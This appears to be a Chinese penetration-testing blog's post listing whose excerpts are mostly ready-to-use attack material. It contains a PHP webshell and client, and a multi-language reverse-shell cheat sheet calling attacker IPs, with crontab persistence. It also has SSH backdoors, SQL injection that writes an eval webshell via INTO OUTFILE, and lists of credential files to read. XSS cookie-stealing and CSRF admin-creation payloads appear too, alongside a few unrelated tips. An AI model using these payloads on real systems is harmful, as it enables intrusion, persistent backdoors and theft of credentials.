渗透技巧

菜刀客户端-python版

菜刀客户端-python版
python脚本实现,python下面直接输入命令,所以一句话里用的是shell_exec函数直接执行命令.一句话:Gif89a <?php header("Content-type: text/html; charset=GBK");   $c = @shell_exec($_POST['cf_hb']); echo $c;?>python客户端:import sys import requests import base64   url = sys.argv[1] print "[+] Connecting to whopper shell..."   while True:     comm = raw_input("~$ ")     #encoded = base64.b64encode(comm)     headers = {'user-agent':'Mozilla/4.0'}     proxy = {'http':'http://127.0.0.1:8080'}     data = {'whopper':encoded}   whopper -- 菜刀密码     print "url=",url     #r=requests.post(url, headers=headers, proxies=proxy, data=data)     r=requests.post(url, headers=headers, data=data)     print base64.b64decode(r.text)根据需要修改是否设置代理、是否编码、展示图:... 继续阅读 »
渗透技巧

反弹Shell技巧

反弹Shell技巧
Bash:bash -i >& /dev/tcp/x.x.x.x/2333 0>&1nc:nc -e /bin/sh x.x.x.x 2333bash+nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/ftelnet:mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipepython:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.18",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python:python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1: proc=subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"定时任务: crontab(crontab -l;printf "*/5 * * * *  /bin/nc 192.168.196.129 22222 -e /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -Asp:<%system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");%>Rubyruby -rsocket -e'f=TCPSocket.open("10.10.14.101",65512).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Perlperl -e 'use Socket;$i="10.10.14.101";$p=65512;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PHPphp -r '$sock=fsockopen("10.10.14.101",65512);exec("/bin/sh -i <&3 >&3 2>&3");'小技巧:添加上bash头信息:bash头:python -c 'import pty;pty.spawn("/bin/sh")'orpython -c 'import pty;pty.spawn("/bin/bash")'SSH隧道:内网服务器:ssh -R 9998:localhost:22 root@202.112.12.31 输入你公网LinuxVPS的密码后,建立一个SSH隧道,会在202.112.12.31上面开一个端口,通向内网这个机器的。公网VPS:ssh localhost 9998演示图:python脚本版:原地址:http://www.primalsecurity.net/0x2-python-tutorial-reverse-shell/VPS接收端:import socket    s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", 10517)) -- 监听反弹回来的端口 s.listen(2) print "Listening on port 10517... " (client, (ip, port)) = s.accept() print " Received connection from : ", ip   while True:  command = raw_input('~$ ')  encode = bytearray(command)  for i in range(len(encode)):    encode[i] ^=0x41  client.send(encode)  en_data=client.recv(2048)  decode = bytearray(en_data)  for i in range(len(decode)):    decode[i] ^=0x41  print decode   client.close() s.close()目标机器上:#!/usr/bin/python   import socket,subprocess,sys   RHOST = sys.argv[1] RPORT = 10517  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT))   while True:      # recieve XOR encoded data from network socket      data = s.recv(1024)        # XOR the data again with a '\x41' to get back to normal data      en_data = bytearray(data)      for i in range(len(en_data)):        en_data[i] ^=0x41        # Execute the decoded data as a command.  The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable      comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)      STDOUT, STDERR = comm.communicate()        # Encode the output and send to RHOST      en_STDOUT = bytearray(STDOUT)      for i in range(len(en_STDOUT)):        en_STDOUT[i] ^=0x41      s.send(en_STDOUT) s.close()展示效果:... 继续阅读 »
学习笔记

渗透技巧之SSH篇

渗透技巧之SSH篇
1、入侵得到SHELL后,想快速开放一个可以访问的SSH端口ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。2、做一个SSH wrapper后门,效果比第一个好,没有开放额外的端口,只要对方开了SSH服务,就能远程连接肉鸡上执行:[root@localhost ~]# cd /usr/sbin [root@localhost sbin]# mv sshd ../bin [root@localhost sbin]# echo '#!/usr/bin/perl' >sshd [root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd [root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd [root@localhost sbin]# chmod u+x sshd [root@localhost sbin]# /etc/init.d/sshd restart自己机器上执行socat STDIO TCP4:10.18.180.20:22,sourceport=133773、记录SSH客户端连接密码效果图... 继续阅读 »
学习笔记

load_file()常加载的文件

load_file()常加载的文件
 load_file()查看常用的一些配置文件/usr/local/apache/htdocs/comm/config.php/usr/local/app/apache2/conf/httpd.conf            //apache2缺省配置文件/usr/local/app/apache2/conf/extra/httpd-vhosts.conf              //虚拟网站设置/usr/local/apache2/conf/httpd.conf/etc/httpd/conf/httpd.conf apache                                配置文件/etc/rsyncd.conf                                                 同步程序配置文件/etc/sysconfig/network-scripts/ifcfg-eth0                         察看IP./usr/local/app/php5/lib/php.ini                                 //PHP相关设置ect/password/etc/my.cnf                                                     //mysql的配置文件/etc/redhat-release                                             //系统版本/etc/sysconfig/iptables                                         //从中得到防火墙规则策略/etc/my.ini/etc/php5/apache2/php.ini information_schema  读取mysql表c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.iniC:\Program Files\Serv-U\ServUDaemon.inic:\windows\my.iniC:\WINDOWS\system32\inetsrv\MetaBase.xml                        IIS配置文件c:\boot.iniC:\mysql\data\mysql\user.MYD                                    //存储了mysql.user表中的数据库连接密码c:\windows\php.inic:\php.initemp                                                            缓存里面储存的信息c:\windows\repair\sam                                            存储了WINDOWS系统初次安装的密码c:\Program Files\ Serv-U\ServUAdmin.exe                         6.0版本以前的serv-u管理员密码存储于此c:\Program Files\RhinoSoft.com\ServUDaemon.exeC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 D:\MySQL DataFiles\mysql\user.MYD... 继续阅读 »
学习笔记

into outfile的高级运用

into outfile的高级运用
获得物理路径(into outfile '物理路径') 这样才能写对目录能够使用union (也就是说需要MYSQL3以上的版本)对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)就是MYSQL用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)对web目录有写权限MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作.这里的1,我们一般可以靠数据库出错信息来爆出来,不行的话,也可以通过load_file()来得到.2那是一般都可以的了...3也不多见对'''过滤的.4有没有权限,我们前面已经测试过的了.5如果不能备份到网站的路径上来,我们也还有别的办法,譬如到starup,run里面去等等社工的办法.而且一般多试试上传目录,图片目录,还是大部分都有读写权限的.OK.需要的条件确定了,那怎么用呢?我们分开两部来说用法.用法1:这是中规中矩的用法,大家都知道.就是采用网站有的留言,上传等功能,把你的一句话马弄上去,然后使用CODE:http://www.tian6.com/coder.php?id=1 and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile '/www/home/html/coder.php'/* 你的小马就诞生了.其中/www/home/html/upload/qingyafengping.jpg为你已上传的木马地址.3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.用法2,也是重点要说的.上面的方法,局限性还是比较大的,如果网站不给你上传,或者网站过滤上传的内容,那怎么办?不用怕,剑心早在几年前就给我们想到了个好办法.我们只需要直接这么执行URL:CODE:http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(这里是你的马的代码,记得转为10进或者16进),3,4,5,6 into outfile '/www/home/html/coder.php'/* 这样你的小马也诞生了,不需要上传,也不怕他过滤.譬如CODE:http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62),3,4,5,6 into outfile '/www/home/html/coder.php'/*或者http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,0x3C3F706870206576616C28245F504F53545B636D645D293F3E,3,4,5,6 into outfile '/www/home/html/coder.php'/*或者http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3,4,5,6 into outfile '/www/home/html/coder.php'/*3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.... 继续阅读 »
渗透工具

Metasploit常用web漏洞扫描模块

Metasploit常用web漏洞扫描模块
web服务器信息扫描模块============================================================Module auxiliary/scanner/http/http_versionModule auxiliary/scanner/http/open_proxyModule auxiliary/scanner/http/robots_txtModule auxiliary/scanner/http/frontpage_loginModule auxiliary/admin/http/tomcat_administrationModule auxiliary/admin/http/tomcat_utf8_traversalModule auxiliary/scanner/http/optionsModule auxiliary/scanner/http/drupal_views_user_enumModule auxiliary/scanner/http/scraperModule auxiliary/scanner/http/svn_scannerModule auxiliary/scanner/http/traceModule auxiliary/scanner/http/vhost_scannerModule auxiliary/scanner/http/webdav_internal_ipModule auxiliary/scanner/http/webdav_scannerModule auxiliary/scanner/http/webdav_website_content文件目录扫描模块============================================================ Module auxiliary/dos/http/apache_range_dosModule auxiliary/scanner/http/backup_fileModule auxiliary/scanner/http/brute_dirsModule auxiliary/scanner/http/copy_of_fileModule auxiliary/scanner/http/dir_listingModule auxiliary/scanner/http/dir_scannerModule auxiliary/scanner/http/dir_webdav_unicode_bypassModule auxiliary/scanner/http/file_same_name_dirModule auxiliary/scanner/http/files_dirModule auxiliary/scanner/http/http_putModule auxiliary/scanner/http/ms09_020_webdav_unicode_bypassModule auxiliary/scanner/http/prev_dir_same_name_fileModule auxiliary/scanner/http/replace_extModule auxiliary/scanner/http/soap_xmlModule auxiliary/scanner/http/trace_axdModule auxiliary/scanner/http/verb_auth_bypassweb应用程序漏洞扫描模块============================================================ Module auxiliary/scanner/http/blind_sql_queryModule auxiliary/scanner/http/error_sql_injectionModule auxiliary/scanner/http/http_traversalModule auxiliary/scanner/http/rails_mass_assignmentModule exploit/multi/http/lcms_php_exec... 继续阅读 »
学习笔记

2015-8-24 XSS笔记

2015-8-24 XSS笔记
XSS的危害挂马-挂链盗取用户cookie等隐私信息-账号被盗利用XMLHttpRequest对象读取本地敏感文件-盗取本地保存的账号密码键盘监控-使用一些事件监听DoS客户端浏览器-死循环钓鱼攻击-插登录框针对性的XSS病毒,恶意篡改数据.-POST,GET转账,刷钱劫持用户Web行为,进一步渗透内网.-爆发Web2.0蠕虫蠕虫式DDoS攻击……短网址生成:http://dwz.aidmin.cn/ http://dwz.cn/ 有的时候XSS的Payload有长度限制,短网址可以解决。利用XSS代码构建GET构建请求进行CSRF攻击:常X的标签:<link href=“”><img src=“”><img lowsrc=“”><img dynsrc=“”><meta http-equiv=“refresh” content=“0; url=”><iframe src=“”><frame src=“”><script src=“”><bgroup src=“”><embed src=“”>GET盗取Cookie:<a src="http://10.0.0.6/xss/?u=c8bbc2"></a><script src="" _src="http://10.0.0.6/xss/?u=c8bbc2"˃"˃http://10.0.0.6/xss/?u=c8bbc2"></script> 或者短网址处理下:<a src="" _src="http://dwz.cn/124bs8"˃"˃http://dwz.cn/124bs8"> apple</a>构建GET请求代替POST请求的实现操作:POSTURL:http://10.0.0.6:98/source/admin/Admin_add.asp?action=save数据:uid=1&realname=admin&pwd1=admin&pwd2=admin&Submit2=%C8%B7%C8%CF%CC%ED%BC%D3构造GET请求:http://10.0.0.6:98/source/admin/Admin_add.asp?action=save&uid=121&realname=121&pwd1=admin&pwd2=admin&Submit2=%C8%B7%C8%CF%CC%ED%BC%D3生成短网址:http://dwz.cn/129wZp payload:<img src="" _src="http://dwz.cn/129wZp"˃"˃http://dwz.cn/129wZp"></img> 管理员一旦登陆,即可自动添加一账号.绕过过滤方法<sCriPt> Example%00<script> <script/src=…> <scr%00ipt> %3cscript%3e %253cscript%253e <scri<script>pt>... 继续阅读 »
渗透技巧

怎么移除一个文件的某些字节

怎么移除一个文件的某些字节
2个方法:第一个:python处理#-*- coding:utf-8 -*-import osimport sysdef endWith(s, *endstring):array = map(s.endswith, endstring)if True in array:return Trueelse:return Falsedef fix(f):try:f1 = open(f,'rb+')f1.seek(2)k=f1.read()f1.seek(0)f1.write(k)f1.close()print f + ' has been fixed!\n'except:print f + ' open error!\n'if __name__ == '__main__':dirList = sys.argvif len(dirList) < 2:print 'USAGE: python fix_file.py C:/ D:/';for x in dirList[1:]:s = os.listdir(x)for i in s:if endWith(i,'.doc','.ppt','.xls'):fix(i)第二个:Linux下cat + cut实现:... 继续阅读 »
渗透技巧

Firefox超速绝密方法

Firefox超速绝密方法
第一步:首先,在URL栏输入“about:config”, 将打开一个参数的命令行清单,这就是我们以下进行编辑的第一步。第二步:在下面的清单中  1:找到“network.http.pipelining” 然后双击“network.http.pipelining”将其值改成“true”  2:找到“network.http.pipelining.maxrequests”并把它的值改的高一些,如果你改成30,意思就是要求它每次发送30个请求。第三步:在Firefox任何一个地方点右键,选择“新建”—“整数”在弹出的对话框中输入“nglayout.initialpaint.delay”并将其值改为“0”,表示当浏览器收到网站回复的信息后能够快速的反应。完全关闭FireFox后退出,再重新打开FireFox,你将会有不一样的速度体验,会有2—3倍的速度提升,有兴趣的朋友可以实验一下。... 继续阅读 »
学习笔记

TK教主之-TrueCrypt虚拟磁盘文件保护

TK教主之-TrueCrypt虚拟磁盘文件保护
... 继续阅读 »